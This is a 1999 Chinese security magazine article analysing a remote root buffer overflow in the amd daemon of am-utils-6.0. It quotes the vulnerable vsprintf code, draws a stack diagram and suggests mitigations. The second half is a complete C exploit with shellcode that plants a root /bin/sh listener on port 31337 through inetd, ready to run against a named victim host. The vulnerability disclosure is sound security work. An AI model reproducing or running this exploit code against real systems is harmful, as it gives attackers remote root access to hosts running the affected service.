首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第2期->技术专题
作者:warning3(warning3@nsfocus.com)
主页:http://www.nsfocus.com
日期:1999-10-15
am-utils-6.0工具包里的amd存在严重缓冲区溢出漏洞,攻击者可以远程获取系统
root权限,这个漏洞存在于xutil.c的real_plog()函数中:
手头没有redhat5.2的源码,我发现TurboLinux 4.0的源码中有am-utils-6.0,就用
它来分析了一下。我想可能和redhat的没什么差别。这也说明TurboLinux 4.0存在同
样漏洞。
----------------------------xutil.c----------------------------------
... ...
static void
real_plog ( int lvl, char * fmt, va_list vargs )
{
char msg[1024]; /* 这里开辟了1024字节缓冲区 */
char efmt[1024];
char *ptr = msg; /* ptr指向msg */
... ...
vsprintf( ptr, efmt, vargs );
/*
* 将参数串拷贝到msg中,如果串长度超过1024
* 那么就会导致缓冲区溢出,当从real_plog返回
* 时,可能会跳去执行任意代码
*/
... ...
----------------------------xutil.c-----------------------------------
这个real_plog被plog()函数调用,而plog()被作者频繁地使用,因此出问题也就没
什么可奇怪的了。让我们来看amq_subr.c中的amqproc_mount_1_svc()函数。当amd接
收到amq传送来的一个mount映射请求时(AMQPROC_MOUNT),就由这个函数来处理。由
于这种方式很不安全(因为只是基于ip检验,可能会被spoof),所以缺省amd是禁止这
种请求的。
-------------------------amq_subr.c------------------------
#ifdef ENABLE_AMQ_MOUNT /* 如果使能了AMQ_MOUNT */
... ...
int * amqproc_mount_1_svc ( voidp argp, struct svc_req * rqstp )
{
static int rc;
char * s = *( amq_string * )argp;
char * cp;
/* 记录mount信息,如果s的大小超过1024-23=1001,就会导致缓冲区溢出 */
plog( XLOG_INFO, "amq requested mount of %s", s );
... ...
#else /* not ENABLE_AMQ_MOUNT */
/* 如果没有使能AMQ_MOUNT(缺省设置) */
int * amqproc_mount_1_svc ( voidp argp, struct svc_req * rqstp )
{
static int rc;
char * s = *( amq_string * )argp;
/* 记录mount错误信息,如果s的大小超过1024-23=1001,也会导致缓冲区溢出 */
plog( XLOG_ERROR, "amq requested mount of %s, but code is disabled", s );
... ...
-------------------------amq_subr.c------------------------
我们可以看出,不管是不是禁止了AMQ_MOUNT,都有可能导致缓冲区溢出。
下面我简单讲一下exploit成功的原理,看看下面这个简图就很清楚了:
只要提供一个1009个字节(多点也可以),就可以覆盖堆栈中保存的返回地址eip。当
real_plog()函数返回时,就会跳转到攻击程序提供的地址去执行。如果这个地址返
回到NOP指令段中(如图所示),就会顺序执行下去,一直执行到shellcode,从而可能
以root权限执行任意命令。
不发生溢出时堆栈中的情况 发生溢出时堆栈中的情况
(s大小为1001) (s大于1009)
|........ | |........ |
|---------|0 ----x----- 0|---------|
| 'a' | | | 'a' |
|---------| | |---------|
| 'm' | | | 'm' |
|---------| | |---------|
| 'q' | | | 'q' |
|---------| |---------|
| ' ' | "amq requested mount of " | ' ' |
|---------| |---------|
| 'r' | | | 'r' |
|---------| | |---------|
|........ | | |........ |
|---------| | |---------|
| 'f' | | | 'f' |
|---------| | |---------|
| ' ' | | | ' ' |
|---------|23 ----x----- ----x---23|---------|
| ..... | | | | 0x90 |
|---------| | | |---------|
| ..... | | | | ..... | <---------------------------
|---------| | | |---------| |
| ..... | | | | 0x90 | |
|---------| | |---------|--------x |
| ..... | s | | 0xeb | | |
|---------| | |---------| shellcode |
| ..... | | | | ..... | | |
|---------| | | |---------|--------x |
| ..... | | | | 0x01 | | |
|---------| | | |---------| | |
| ..... | | | | ..... | | |
|---------|1024 ----x----x---- | 1024|---------| | |
| 0x?? | | | 0x01 | | |
|---------| | s |---------| | |
| 0x?? | | 0xf4 | |
|---------| ebp | |---------| 0xbffff401 (返回地址) --|
| 0x?? | | | 0xff |
|---------| | | |---------| |
| 0x?? | | | | 0xbf | |
|---------|1028 ----x | 1028|---------| |
| 0x!! | | | | 0x01 | |
|---------| | | |---------| |
| 0x!! | | | 0xf4 | |
|---------| eip | |---------| |
| 0x!! | | | 0xff | |
|---------| | | |---------| |
| 0x!! | | | | 0xbf | |
|---------| ----x | 1032|---------| -------x
| ...... | | ...... |
需要注意的是,amd程序一旦被攻击就会当掉,必须重新启动
(/etc/rc.d/init.d/amd start)才能正常工作,这也减少了攻击者的机会,他只有一
次机会。
解决的办法是:
1. mv /etc/rc.d/rc3.d/S72amd /etc/rc.d/rc3.d/s72amd
2. 尽快到redhat的ftp server上去下最新的am-utils软件包
下面是我写的一个测试程序,需要你的机器上装了amq(也是am-utils包带的)。请只
在自己的机器上测试:
/* amd remote exploit for x86 Linux
* Compiled and tested in RedHat 5.2
* Usages:
* ./amdbug victim <offset> <align> (try offset: 0-400)
* telnet victim 31337
* shellcode is from SDI's shellcode generator.
* This exploit need /usr/sbin/amq.
* Warning:
* This code is for educational purpose only and should not be run in
* any host without permission from the system administrator.
* warning3@hotmail.com
* 1999/09
*/
#include <stdlib.h>
#define BUFSIZE 1024
#define OFFSET 0
#define ALIGNMENT 1
#define RET 0xbffff401
#define NOP 0x90
char shellcode[]=
"\xeb\x31\x5e\x89\x76\x66\x8d\x5e\x08\x89\x5e\x6a"
"\x8d\x5e\x0b\x89\x5e\x6e\x31\xc0\x88\x46\x07\x88"
"\x46\x0a\x88\x46\x65\x89\x46\x72\xb0\x0b\x89\xf3"
"\x8d\x4e\x66\x8d\x56\x72\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xca\xff\xff\xff"
"/bin/sh -c echo 31337 stream tcp nowait root /bin/sh /bin/sh -i>/tmp/owned;/usr/sbin/inetd /tmp/owned";
void main ( int argc, char * argv[] )
{
int addr, *addr_ptr;
int ret = RET, offset = OFFSET, align = ALIGNMENT, i;
char * buf;
char * hostname;
if ( argc == 1 )
{
printf( "Usages: %s hostname <offset> <align> \n", argv[0] );
exit( 0 );
}
if ( argc > 1 )
{
hostname = ( char * )malloc( strlen( argv[1] ) + 1 );
strcpy( hostname, argv[1] );
}
if ( argc > 2 )
{
offset = atoi( argv[2] );
}
if ( argc > 3 )
{
align = atoi( argv[3] );
}
buf = ( char * )malloc( BUFSIZE );
addr = ret - offset;
printf( "Using address: 0x%x \n", addr );
addr_ptr = ( long * )( buf + align );
for ( i = align; i < BUFSIZE; i += 4 )
{
*( addr_ptr++ ) = addr;
}
memset( buf, NOP, BUFSIZE / 2 );
memcpy( buf + BUFSIZE / 2 - strlen( shellcode ) / 2, shellcode, strlen( shellcode ) );
buf[ BUFSIZE - 1 ] = '\0';
printf( "Wait for some seconds, then press Ctrl_C break amq, try to telnet %s 31337, good luck!\n",
hostname );
execl( "/usr/sbin/amq", "amq", "-h", hostname, "-M", buf, NULL );
}
版权所有,未经许可,不得转载